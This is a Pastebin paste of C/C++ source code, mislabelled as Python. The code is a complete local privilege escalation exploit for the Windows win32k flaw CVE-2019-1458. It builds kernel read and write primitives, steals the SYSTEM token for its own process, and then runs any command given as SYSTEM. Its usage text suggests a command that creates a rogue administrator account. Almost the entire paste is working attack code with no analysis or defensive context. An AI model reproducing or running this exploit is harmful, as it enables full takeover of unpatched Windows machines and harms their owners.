W0rMz000

CVE-2019-1458

Nov 3rd, 2020
360
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 12.58 KB | None | 0 0
  1. #include <stdio.h>
  2. #include <windows.h>
  3. #include <VersionHelpers.h>
  4.  
  5. typedef struct _LARGE_UNICODE_STRING {
  6.     ULONG Length;
  7.     ULONG MaximumLength : 31;
  8.     ULONG bAnsi : 1;
  9.     PWSTR Buffer;
  10. } LARGE_UNICODE_STRING, *PLARGE_UNICODE_STRING;
  11.  
  12. extern "C" NTSTATUS  NtUserMessageCall(HANDLE hWnd, UINT msg, WPARAM wParam, LPARAM lParam, ULONG_PTR ResultInfo, DWORD dwType, BOOL bAscii);
  13. extern "C" NTSTATUS  NtUserDefSetText(HANDLE hWnd, PLARGE_UNICODE_STRING plstr);
  14. extern "C" DWORD g_NtUserDefSetText_syscall = 0x1080, g_NtUserMessageCall_syscall = 0x1009;
  15.  
  16.  
  17. #define SPARY_TIMES 0x1000
  18.  
  19. #ifdef _WIN64
  20. typedef void*(NTAPI *lHMValidateHandle)(HANDLE h, int type);
  21. #else
  22. typedef void*(__fastcall *lHMValidateHandle)(HANDLE h, int type);
  23. #endif
  24. typedef NTSTATUS(__stdcall*RtlGetVersionT)(PRTL_OSVERSIONINFOW lpVersionInformation);
  25.  
  26. HWND g_hwnd = 0;
  27. ULONG_PTR g_gap = 0;
  28.  
  29. lHMValidateHandle pHmValidateHandle = NULL;
  30.  
  31. BOOL FindHMValidateHandle() {
  32.     HMODULE hUser32 = LoadLibraryA("user32.dll");
  33.     if (hUser32 == NULL) {
  34.         printf("Failed to load user32");
  35.         return FALSE;
  36.     }
  37.  
  38.     BYTE* pIsMenu = (BYTE *)GetProcAddress(hUser32, "IsMenu");
  39.     if (pIsMenu == NULL) {
  40.         printf("Failed to find location of exported function 'IsMenu' within user32.dll\n");
  41.         return FALSE;
  42.     }
  43.     unsigned int uiHMValidateHandleOffset = 0;
  44.     for (unsigned int i = 0; i < 0x1000; i++) {
  45.         BYTE* test = pIsMenu + i;
  46.         if (*test == 0xE8) {
  47.             uiHMValidateHandleOffset = i + 1;
  48.             break;
  49.         }
  50.     }
  51.     if (uiHMValidateHandleOffset == 0) {
  52.         printf("Failed to find offset of HMValidateHandle from location of 'IsMenu'\n");
  53.         return FALSE;
  54.     }
  55.  
  56.     unsigned int addr = *(unsigned int *)(pIsMenu + uiHMValidateHandleOffset);
  57.     unsigned int offset = ((unsigned int)pIsMenu - (unsigned int)hUser32) + addr;
  58.     //The +11 is to skip the padding bytes as on Windows 10 these aren't nops
  59.     pHmValidateHandle = (lHMValidateHandle)((ULONG_PTR)hUser32 + offset + 11);
  60.     return TRUE;
  61. }
  62.  
  63. VOID
  64. NTAPI
  65. RtlInitLargeUnicodeString(IN OUT PLARGE_UNICODE_STRING DestinationString,
  66. IN PCWSTR SourceString)
  67. {
  68.     ULONG DestSize;
  69.  
  70.     if (SourceString)
  71.     {
  72.         DestSize = wcslen(SourceString) * sizeof(WCHAR);
  73.         DestinationString->Length = DestSize;
  74.         DestinationString->MaximumLength = DestSize + sizeof(WCHAR);
  75.     }
  76.     else
  77.     {
  78.         DestinationString->Length = 0;
  79.         DestinationString->MaximumLength = 0;
  80.     }
  81.  
  82.     DestinationString->Buffer = (PWSTR)SourceString;
  83.     DestinationString->bAnsi = FALSE;
  84. }
  85.  
  86. void writedata(ULONG_PTR addr, ULONG_PTR data, ULONG size)
  87. {
  88.     SetClassLongPtr(g_hwnd, g_gap, addr);
  89.     CHAR input[sizeof(ULONG_PTR)*2];
  90.     RtlSecureZeroMemory(&input, sizeof(input));
  91.     LARGE_UNICODE_STRING u;
  92.     for (int i = 0; i<sizeof(ULONG_PTR); i++)
  93.     {
  94.         input[i] = (data >> (8 * i)) & 0xff;
  95.     }
  96.  
  97.     RtlInitLargeUnicodeString(&u, (PCWSTR)input);
  98.     u.Length = size;
  99.     u.MaximumLength = size;
  100.     NtUserDefSetText(g_hwnd, &u);
  101. }
  102.  
  103. ULONG_PTR readdata(ULONG_PTR addr)
  104. {
  105.     SetClassLongPtr(g_hwnd, g_gap, addr);
  106.     ULONG_PTR temp[2] = {0};
  107.     InternalGetWindowText(g_hwnd, (LPWSTR)temp, sizeof(temp) - sizeof(WCHAR));
  108.     return temp[0];
  109. }
  110.  
  111. int main()
  112. {
  113.     ULONG_PTR off_tagWND_pself = 0x20, off_tagCLS_extra=0xa0, off_tagWND_tagCLS=0x98, off_tagWND_strName=0xe0;
  114.     ULONG_PTR off_EPROCESS_Token = 0x348, off_KTHREAD_EPROCESS = 0x220, off_tagWND_parent=0x58, off_tagWND_pti=0x10;
  115.     ULONG_PTR off_exp_tagCLS = 0;
  116.     int argc = 0;
  117.     wchar_t **argv = CommandLineToArgvW(GetCommandLineW(), &argc);
  118.     puts("CVE-2019-1458 exploit by @unamer(https://github.com/unamer)");
  119.     if (argc != 2)
  120.     {
  121.         printf("Usage: %S command\nExample: %S \"net user admin admin /ad & net user localgroup administrators admin /ad\"\n\nWARNING: YOU ONLY HAVE ONE CHANCE!!!", argv[0], argv[0]);
  122.         return -1;
  123.     }
  124.  
  125.     OSVERSIONINFOW osver;
  126.     RtlSecureZeroMemory(&osver, sizeof(osver));
  127.     osver.dwOSVersionInfoSize = sizeof(osver);
  128.     RtlGetVersionT pRtlGetVersion = (RtlGetVersionT)GetProcAddress(GetModuleHandleA("ntdll"), "RtlGetVersion");
  129.     pRtlGetVersion(&osver);
  130.     if (osver.dwMajorVersion == 6) {
  131. #ifdef _WIN64
  132.         if (osver.dwMinorVersion == 0)//win2008
  133.         {
  134.             off_tagWND_pself = 0x20;
  135.             off_tagCLS_extra = 0xa0;
  136.             off_tagWND_tagCLS = 0x98;
  137.             off_tagWND_strName = 0xe0;
  138.             off_KTHREAD_EPROCESS = 0x210;
  139.             off_tagWND_parent = 0x58;
  140.             off_EPROCESS_Token = 0x208;
  141.             off_tagWND_pti = 0x10;
  142.             g_NtUserDefSetText_syscall = 0x1081;
  143.             g_NtUserMessageCall_syscall = 0x1007;
  144.             off_exp_tagCLS = 1; // stupid windows 2008
  145.         }
  146.         else if (osver.dwMinorVersion==1)
  147.         {//win7 / win2008 R2
  148.             off_tagWND_pself = 0x20;
  149.             off_tagCLS_extra = 0xa0;
  150.             off_tagWND_tagCLS = 0x98;
  151.             off_tagWND_strName = 0xe0;
  152.             off_KTHREAD_EPROCESS = 0x210;
  153.             off_tagWND_parent = 0x58;
  154.             off_EPROCESS_Token = 0x208;
  155.             off_tagWND_pti = 0x10;
  156.             g_NtUserDefSetText_syscall = 0x107f;
  157.             g_NtUserMessageCall_syscall = 0x1007;
  158.             off_exp_tagCLS = 1; // stupid windows 2008
  159.         }
  160.         else if (osver.dwMinorVersion == 2)
  161.         {
  162.             // win8/win2012
  163.             off_tagWND_pself = 0x20;
  164.             off_tagCLS_extra = 0xa0;
  165.             off_tagWND_tagCLS = 0x98;
  166.             off_tagWND_strName = 0xe0;
  167.             off_EPROCESS_Token = 0x348;
  168.             off_KTHREAD_EPROCESS = 0x220;
  169.             off_tagWND_parent = 0x58;
  170.             off_tagWND_pti = 0x10;
  171.             g_NtUserDefSetText_syscall = 0x107f;
  172.             g_NtUserMessageCall_syscall = 0x1008;
  173.         }
  174.         else if (osver.dwMinorVersion==3)
  175.         {
  176.             // win8.1 / win2012 R2
  177.             off_tagWND_pself = 0x20;
  178.             off_tagCLS_extra=0xa0;
  179.             off_tagWND_tagCLS=0x98;
  180.             off_tagWND_strName=0xe0;
  181.             off_EPROCESS_Token = 0x348;
  182.             off_KTHREAD_EPROCESS = 0x220;
  183.             off_tagWND_parent=0x58;
  184.             off_tagWND_pti=0x10;
  185.             g_NtUserDefSetText_syscall = 0x1080;
  186.             g_NtUserMessageCall_syscall = 0x1009;
  187.         }
  188.         else
  189.         {
  190.             printf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion);
  191.             return -99;
  192.         }
  193.  
  194. #else
  195.         // too lazy to support x32 version
  196.         if (osver.dwMinorVersion == 0)//win2008
  197.         {
  198.  
  199.         }
  200.         else
  201.         {//win7
  202.  
  203.         }
  204.  
  205. #endif
  206.     }
  207.     else
  208.     {
  209.         printf("[!] This version of system was not supported (%d.%d)\n", osver.dwMajorVersion, osver.dwMinorVersion);
  210.         return -99;
  211.     }
  212.  
  213.  
  214.     if (!FindHMValidateHandle()) {
  215.         printf("[!] Failed to locate HmValidateHandle, exiting\n");
  216.         return 1;
  217.     }
  218.  
  219.     ULONG_PTR base_alloc = 0xc00000;
  220.  
  221.     ULONG_PTR target_addr = base_alloc << (8 * off_exp_tagCLS);
  222.  
  223.     ULONG_PTR temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  224.  
  225.     if (temp != target_addr)
  226.     {
  227.         printf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError());
  228.         return 2;
  229.     }
  230.  
  231.     target_addr = (base_alloc + 0x10000) << (8 * off_exp_tagCLS);
  232.     temp = (ULONG_PTR)VirtualAlloc((LPVOID)target_addr, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
  233.  
  234.     if (temp != target_addr)
  235.     {
  236.         printf("[!] Failed to map 0x%p (0x%p), exiting (%llx)\n", target_addr, temp, GetLastError());
  237.         return 2;
  238.     }
  239.  
  240.     const wchar_t CLASS_NAME[] = L"unamer";
  241.  
  242.     WNDCLASS wc;
  243.     RtlSecureZeroMemory(&wc, sizeof(wc));
  244.  
  245.     HINSTANCE hself = GetModuleHandle(0);
  246.  
  247.     wc.lpfnWndProc = DefWindowProc;
  248.     wc.hInstance = hself;
  249.     wc.lpszClassName = CLASS_NAME;
  250.     wc.cbWndExtra = 0x3000;
  251.     wc.cbClsExtra = 0x3000;
  252.  
  253.     RegisterClass(&wc);
  254.     HWND hwnd;
  255.  
  256.     ULONG_PTR tagWND = 0, tagCLS = 0;
  257.     INT64 gap = 0;
  258.  
  259.     while (true)
  260.     {
  261.  
  262.         hwnd = CreateWindowEx(0, CLASS_NAME, L"unamer", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL);
  263.  
  264.         if (hwnd == NULL)
  265.         {
  266.             printf("[!] CreateWindowEx error 0x%x!\n", GetLastError());
  267.             return 3;
  268.         }
  269.  
  270.         char* lpUserDesktopHeapWindow = (char*)pHmValidateHandle(hwnd, 1);
  271.         tagWND = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_pself);
  272. //      ULONG_PTR ulClientDelta = tagWND - (ULONG_PTR)lpUserDesktopHeapWindow;
  273.         tagCLS = *(ULONG_PTR*)(lpUserDesktopHeapWindow + off_tagWND_tagCLS);
  274.  
  275.         gap = tagWND - tagCLS;
  276.         if (gap>0 && gap<0x100000)
  277.         {
  278.             break;
  279.         }
  280.     }
  281.  
  282.     printf("[*] tagWND: 0x%p, tagCLS:0x%p, gap:0x%llx\n", tagWND, tagCLS, gap);
  283.  
  284.     WNDCLASSEX wcx;
  285.     RtlSecureZeroMemory(&wcx, sizeof(wcx));
  286.     wcx.hInstance = hself;
  287.     wcx.cbSize = sizeof(wcx);
  288.     wcx.lpszClassName = L"SploitWnd";
  289.     wcx.lpfnWndProc = DefWindowProc;
  290.     wcx.cbWndExtra = 8; //pass check in xxxSwitchWndProc to set wnd->fnid = 0x2A0
  291.  
  292.     printf("[*] Registering window\n");
  293.     ATOM wndAtom = RegisterClassEx(&wcx);
  294.     if (wndAtom == INVALID_ATOM) {
  295.         printf("[-] Failed registering SploitWnd window class\n");
  296.         exit(-1);
  297.     }
  298.  
  299.     printf("[*] Creating instance of this window\n");
  300.     HWND sploitWnd = CreateWindowEx(0, L"SploitWnd", L"", WS_VISIBLE, 0, 0, 0, 0, NULL, NULL, hself, NULL);
  301.     if (sploitWnd == INVALID_HANDLE_VALUE) {
  302.         printf("[-] Failed to create SploitWnd window\n");
  303.         exit(-1);
  304.     }
  305. //  ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself);
  306. //  printf("[*] tagWND: 0x%p, tagCLS: 0x%p,tagExpWnd: 0x%p, gap: 0x%llx\n", tagWND, tagCLS, tagExpWnd, gap);
  307.  
  308.     printf("[*] Calling NtUserMessageCall to set fnid = 0x2A0 on window 0x%p\n", sploitWnd);
  309.     NtUserMessageCall(sploitWnd, WM_CREATE, 0, 0, 0, 0xE0, 1);
  310.  
  311.     printf("[*] Calling SetWindowLongPtr to set window extra data, that will be later dereferenced\n");
  312.     SetWindowLongPtr(sploitWnd, 0, tagCLS - off_exp_tagCLS);
  313.     printf("[*] GetLastError = %x\n", GetLastError());
  314.  
  315.     printf("[*] Creating switch window #32771, this has a result of setting (gpsi+0x154) = 0x130\n");
  316.     HWND switchWnd = CreateWindowEx(0, (LPCWSTR)0x8003, L"", 0, 0, 0, 0, 0, NULL, NULL, hself, NULL);
  317.  
  318.     printf("[*] Simulating alt key press\n");
  319.     BYTE keyState[256];
  320.     GetKeyboardState(keyState);
  321.     keyState[VK_MENU] |= 0x80;
  322.     SetKeyboardState(keyState);
  323. /*  keybd_event(VK_MENU, 0, 0, 0);*/
  324.     printf("[*] Triggering dereference of wnd->extraData by calling NtUserMessageCall second time\n");
  325.  
  326.     NtUserMessageCall(sploitWnd, WM_ERASEBKGND, 0, 0, 0, 0x0, 1);
  327.  
  328.     // now cbCLSExtra is very large
  329.     // verify the oob read
  330.     ULONG_PTR orig_name = SetClassLongPtr(hwnd, gap - off_tagCLS_extra + off_tagWND_strName, tagWND + off_tagWND_pself);
  331.     ULONG_PTR testtagWND[2] = { 0 };
  332.     InternalGetWindowText(hwnd, (LPWSTR)testtagWND, sizeof(ULONG_PTR));
  333.    
  334.     if (testtagWND[0] == tagWND)
  335.     {
  336.         ULONG_PTR tagExpWnd = *(ULONG_PTR*)((char*)pHmValidateHandle(sploitWnd, 1) + off_tagWND_pself);
  337.         printf("[*] tagWND: 0x%p\n", tagExpWnd);
  338.         printf("[+] Exploit success!\n");
  339.         // fix tagCLS
  340.         g_hwnd = hwnd;
  341.         g_gap = gap - off_tagCLS_extra + off_tagWND_strName;
  342.  
  343.         writedata(tagExpWnd + 0x40, 0,4);
  344.         writedata(tagCLS + 0x68, (ULONG_PTR)hself, 8);
  345.         writedata(tagCLS + 0x58, (ULONG_PTR)DefWindowProc, 8);
  346.  
  347.         ULONG_PTR token = readdata(readdata(readdata(readdata(readdata(tagWND + off_tagWND_parent) + off_tagWND_pti)) + off_KTHREAD_EPROCESS) + off_EPROCESS_Token);
  348.         ULONG_PTR ep = readdata(readdata(readdata(tagWND + off_tagWND_pti)) + off_KTHREAD_EPROCESS); // self EPROCESS
  349.         ULONG_PTR temp = readdata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR)); // fix WorkingSetPage
  350.         writedata(ep + off_EPROCESS_Token, token, 8);
  351.         writedata(ep + off_EPROCESS_Token + sizeof(ULONG_PTR), temp,8);
  352.  
  353.         // fix tagWND
  354.         SetClassLongPtr(hwnd, g_gap, orig_name);
  355.  
  356.         DestroyWindow(hwnd);
  357.         g_hwnd = 0;
  358.         DestroyWindow(sploitWnd);
  359.         UnregisterClass(CLASS_NAME, 0);
  360.         UnregisterClass(L"SploitWnd", 0);
  361.  
  362.         SECURITY_ATTRIBUTES     sa;
  363.         HANDLE                  hRead, hWrite;
  364.         byte                    buf[40960] = { 0 };
  365.         STARTUPINFOW            si;
  366.         PROCESS_INFORMATION     pi;
  367.         DWORD                   bytesRead;
  368.         RtlSecureZeroMemory(&si, sizeof(si));
  369.         RtlSecureZeroMemory(&pi, sizeof(pi));
  370.         RtlSecureZeroMemory(&sa, sizeof(sa));
  371.         int br = 0;
  372.         sa.nLength = sizeof(SECURITY_ATTRIBUTES);
  373.         sa.lpSecurityDescriptor = NULL;
  374.         sa.bInheritHandle = TRUE;
  375.         if (!CreatePipe(&hRead, &hWrite, &sa, 0))
  376.         {
  377.             return -3;
  378.         }
  379.         wprintf(L"[*] Trying to execute %s as SYSTEM\n", argv[1]);
  380.         si.cb = sizeof(STARTUPINFO);
  381.         GetStartupInfoW(&si);
  382.         si.hStdError = hWrite;
  383.         si.hStdOutput = hWrite;
  384.         si.wShowWindow = SW_HIDE;
  385.         si.lpDesktop = L"WinSta0\\Default";
  386.         si.dwFlags = STARTF_USESHOWWINDOW | STARTF_USESTDHANDLES;
  387.         wchar_t cmd[4096] = { 0 };
  388.         lstrcpyW(cmd, argv[1]);
  389.         if (!CreateProcessW(NULL, cmd, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi))
  390.         {
  391.             CloseHandle(hWrite);
  392.             CloseHandle(hRead);
  393.             printf("[!] CreateProcessW Failed![%lx]\n", GetLastError());
  394.             return -2;
  395.         }
  396.         CloseHandle(hWrite);
  397.         printf("[+] ProcessCreated with pid %d!\n", pi.dwProcessId);
  398.         while (1)
  399.         {
  400.             if (!ReadFile(hRead, buf + br, 4000, &bytesRead, NULL))
  401.                 break;
  402.             br += bytesRead;
  403.         }
  404.         puts("===============================");
  405.         puts((char*)buf);
  406.         fflush(stdout);
  407.         fflush(stderr);
  408.         CloseHandle(hRead);
  409.         CloseHandle(pi.hProcess);
  410.         ExitProcess(0);
  411.     }
  412.     else
  413.     {
  414.         printf("[!] Exploit fail, test:0x%p,tagWND:0x%p, error:0x%lx\n", testtagWND, tagWND, GetLastError());
  415.         ExitProcess(-5);
  416.     }
  417. }
Add Comment
Please, Sign In to add comment